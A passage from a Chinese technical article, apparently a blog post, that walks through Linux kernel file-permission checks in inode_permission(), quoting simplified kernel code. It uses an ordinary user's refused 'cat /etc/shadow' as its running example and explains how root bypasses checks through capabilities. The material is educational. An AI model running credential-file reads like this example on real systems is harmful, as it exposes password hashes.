8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经过上述介绍，大家应该已经能够初步理解内核中进程，尤其是进程中的用户凭证信息在内核中的表示方式和存储格式了。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x05 内核权限校验</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面我们详细了解了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 结构体中各个字段的含义，那这些字段在实际的权限校验中是如何被使用的呢？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一节我们追踪一个具体的场景：普通用户执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat /etc/shadow</span></code><span leaf=""> 时被拒绝，内核到底做了什么？</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">1. 整体流程</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat</span></code><span leaf=""> 调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">open(&#34;/etc/shadow&#34;)</span></code><span leaf=""> 时，最终会进入内核的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">inode_permission()</span></code><span leaf=""> 函数。这个函数按固定顺序串行执行多层检查，</span><strong style="font-weight: bold;color: black;"><span leaf="">任意一层拒绝则整体拒绝</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cat 调用 open(&#34;/etc/shadow&#34;, O_RDONLY)</span><br/><span leaf="">  ↓</span><br/><span leaf="">inode_permission()</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 第 1 层：sb_permission()</span><br/><span leaf="">  │    文件系统级别的限制（如只读挂载直接拒绝写入）</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 第 2 层：inode 属性检查</span><br/><span leaf="">  │    不可变文件（immutable）拒绝写入</span><br/><span leaf="">  │    ID 映射未映射的文件拒绝写入</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 第 3 层：generic_permission()  ← DAC 主逻辑（核心）</span><br/><span leaf="">  │    ├─ acl_permission_check()：根据 fsuid/fsgid/group_info</span><br/><span leaf="">  │    │   与 inode 的 owner/group/other 模式位做匹配</span><br/><span leaf="">  │    │</span><br/><span leaf="">  │    └─ DAC 不通过时，看 capability 能否绕过？</span><br/><span leaf="">  │       CAP_DAC_READ_SEARCH：绕过读限制</span><br/><span leaf="">  │       CAP_DAC_OVERRIDE：绕过读写执行限制</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 第 4 层：devcgroup_inode_permission()</span><br/><span leaf="">  │    设备 cgroup 限制（仅对字符/块设备节点生效）</span><br/><span leaf="">  │</span><br/><span leaf="">  └─ 第 5 层：security_inode_permission()</span><br/><span leaf="">       LSM 钩子（SELinux / AppArmor / Smack 等）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面逐层解析。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">2. 第 1 层：文件系统级检查</span></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fs/namei.c（简化）</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sb_permission</span></span><span style="line-height: 26px;"><span leaf="">(struct super_block *sb, struct inode *inode, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> mask)</span></span><br/></span><span leaf="">{</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (mask &amp; MAY_WRITE) {</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 只读挂载的文件系统上，普通文件/目录/符号链接不允许写入</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (sb_rdonly(sb) &amp;&amp; (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> -EROFS;</span><br/><span leaf="">    }</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一层很粗糙，只看一件事：</span><strong style="font-weight: bold;color: black;"><span leaf="">这个文件系统是不是只读挂载的？</span></strong><span leaf=""> 如果是，写操作直接拒绝。对于我们的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat /etc/shadow</span></code><span leaf="">（读操作），这一层直接放行。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">3. 第 2 层：inode 属性检查</span></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fs/namei.c inode_permission() 中（简化）</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (mask &amp; MAY_WRITE) {</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (unlikely(IS_IMMUTABLE(inode)))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> -EPERM;         </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 不可变文件，谁都不能写</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (unlikely(HAS_UNMAPPED_ID(idmap, inode)))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> -EACCES;        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ID 映射有问题，拒绝写入</span></span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一层检查 inode 自身的属性。比如文件被设置了 immutable 标志（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">chattr +i</span></code><span leaf="">），那就直接拒绝写入。同样，对于我们的读操作，这一层也直接放行。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">4. 第 3 层：DAC 主逻辑（核心）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是最重要的一层，也是每次都会执行的核心权限检查。它分两步走：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第一步：基础 DAC / ACL 检查（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">acl_permission_check</span></code><span leaf="">）</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fs/namei.c（简化）</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">acl_permission_check</span></span><span style="line-height: 26px;"><span leaf="">(struct mnt_idmap *idmap,</span><br/><span leaf="">                                struct inode *inode, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> mask)</span></span></span><span leaf="">{</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 第一步：看 fsuid 是不是文件的 owner</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (likely(vfsuid_eq_kuid(vfsuid, current_fsuid()))) {</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 是 owner → 用 owner 的权限位判断（mode &gt;&gt; 6）</span></span><br/><span leaf="">        mask &amp;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><br/><span leaf="">        mode &gt;&gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">;</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (mask &amp; ~mode) ? -EACCES : </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 第二步：不是 owner → 检查 POSIX ACL（如果文件有 ACL 规则）</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (IS_POSIXACL(inode) &amp;&amp; (mode &amp; S_IRWXG)) {</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> error = check_acl(idmap, inode, mask);</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (error != -EAGAIN)      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ACL 有明确结论（允许或拒绝）</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> error;</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// -EAGAIN 表示 ACL 没有匹配到，继续往下走</span></span><br/><span leaf="">    }</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 第三步：检查 group/other 权限位</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 看 fsgid 或 group_info 中的组有没有匹配 inode 的 group</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (vfsgid_in_group_p(vfsgid))</span><br/><span leaf="">        mode &gt;&gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">;   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 匹配到组 → 用 group 权限位</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 都没匹配 → 用 other 权限位（mode 的低 3 位）</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (mask &amp; ~mode) ? -EACCES : </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf=""> 的例子走一遍：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">/etc/shadow 的 inode 信息：</span><br/><span leaf="">  owner = root (UID=0)</span><br/><span leaf="">  group = shadow (GID=42)</span><br/><span leaf="">  mode  = 0640 → owner 可读写，group 可读，other 无权限</span><br/><span leaf="">  无 POSIX ACL 规则</span><br/><span leaf="">cat 进程的 cred：</span><br/><span leaf="">  fsuid = 1000（ubuntu）</span><br/><span leaf="">  fsgid = 1000（ubuntu）</span><br/><span leaf="">  group_info = [27(sudo), 998(docker), 4(adm)]</span><br/><span leaf="">acl_permission_check 三步走：</span><br/><span leaf="">第一步：fsuid(1000) == inode owner(0)？ → 不是，跳过</span><br/><span leaf="">第二步：IS_POSIXACL(inode)？ → 否（/etc/shadow 没有 ACL 规则），跳过</span><br/><span leaf="">第三步：group/other 权限位判断</span><br/><span leaf="">  mask = MAY_READ = 4 = 100（想读）</span><br/><span leaf="">  vfsgid_in_group_p(42)？→ fsgid=1000 不是 42，group_info 里也没有 42</span><br/><span leaf="">  → 不右移，用 other 的低 3 位</span><br/><span leaf="">  mode 低 3 位 = 000（other 无权限）</span><br/><span leaf="">  mask &amp; ~mode = 100 &amp; ~000 = 100 &amp; 111 = 100 ≠ 0</span><br/><span leaf="">  → 有请求但不被允许的权限</span><br/><span leaf="">  → 返回 -EACCES</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第二步：capability 能否绕过？</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 DAC 检查不通过（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">acl_permission_check</span></code><span leaf=""> 返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-EACCES</span></code><span leaf="">），内核还会看进程有没有特殊的 capability 可以强行通过。这里</span><strong style="font-weight: bold;color: black;"><span leaf="">目录和普通文件的规则不同</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fs/namei.c generic_permission()（简化）</span></span><br/><span leaf="">ret = acl_permission_check(idmap, inode, mask);</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (ret != -EACCES)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ret;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 通过或非权限错误，直接返回</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ── 目录的 capability 绕过规则 ──</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (S_ISDIR(inode-&gt;i_mode)) {</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 目录的非写操作 → CAP_DAC_READ_SEARCH 可绕过</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!(mask &amp; MAY_WRITE))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (capable_wrt_inode_uidgid(idmap, inode, CAP_DAC_READ_SEARCH))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 目录的任何操作 → CAP_DAC_OVERRIDE 可绕过</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (capable_wrt_inode_uidgid(idmap, inode, CAP_DAC_OVERRIDE))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> -EACCES;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 目录在这里就结束了</span></span><br/><span leaf="">}</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ── 普通文件的 capability 绕过规则 ──</span></span><br/><span leaf="">mask &amp;= MAY_READ | MAY_WRITE | MAY_EXEC;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 过滤掉额外标志位，只保留 rwx</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 纯读操作 → CAP_DAC_READ_SEARCH 可绕过</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (mask == MAY_READ)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (capable_wrt_inode_uidgid(idmap, inode, CAP_DAC_READ_SEARCH))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 非执行操作 或 文件本身有执行位 → CAP_DAC_OVERRIDE 可绕过</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!(mask &amp; MAY_EXEC) || (inode-&gt;i_mode &amp; S_IXUGO))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (capable_wrt_inode_uidgid(idmap, inode, CAP_DAC_OVERRIDE))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> -EACCES;</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对于普通用户的 cat 进程：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">没有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_DAC_READ_SEARCH</span></code><span leaf=""> → 不行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">没有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_DAC_OVERRIDE</span></code><span leaf=""> → 不行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">最终返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-EACCES</span></code></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">这就是为什么 root 几乎能访问任何文件</span></strong><span leaf="">——在这里讨论的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">generic_permission()</span></code><span leaf=""> / capability 绕过这一步里，并不是直接写了一个“</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid=0</span></code><span leaf=""> 就放行”的特殊分支，而是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid=0</span></code><span leaf=""> 的进程通常会按 capability 保留规则持有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_DAC_OVERRIDE</span></code><span leaf=""> 等能力，因此可以在这一步直接绕过 DAC 限制。需要注意的是，这并不意味着内核在所有路径里都完全不会对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid=0</span></code><span leaf=""> 做特殊处理；例如后面会提到的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">set*uid()</span></code><span leaf=""> 相关 capability 整理逻辑，就会显式考虑 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid=0</span></code><span leaf=""> 的情况。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">5. 第 4 层：设备 cgroup 检查</span></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">retval = devcgroup_inode_permission(inode, mask);</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一层只对字符设备（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/dev/null</span></code><span leaf="">）和块设备（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/dev/sda</span></code><span leaf="">）生效。对于普通文件（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf="">），直接放行。这一层的作用是限制容器中的进程能访问哪些设备。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">6. 第 5 层：LSM 检查</span></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> security_inode_permission(inode, mask);</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这就是上一节介绍的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 字段发挥作用的地方。如果系统启用了 SELinux/AppArmor/Smack，它们会在这里做额外的安全判定。即使前面四层全部放行，这一层仍然可以拒绝。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">7. 完整走一遍</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 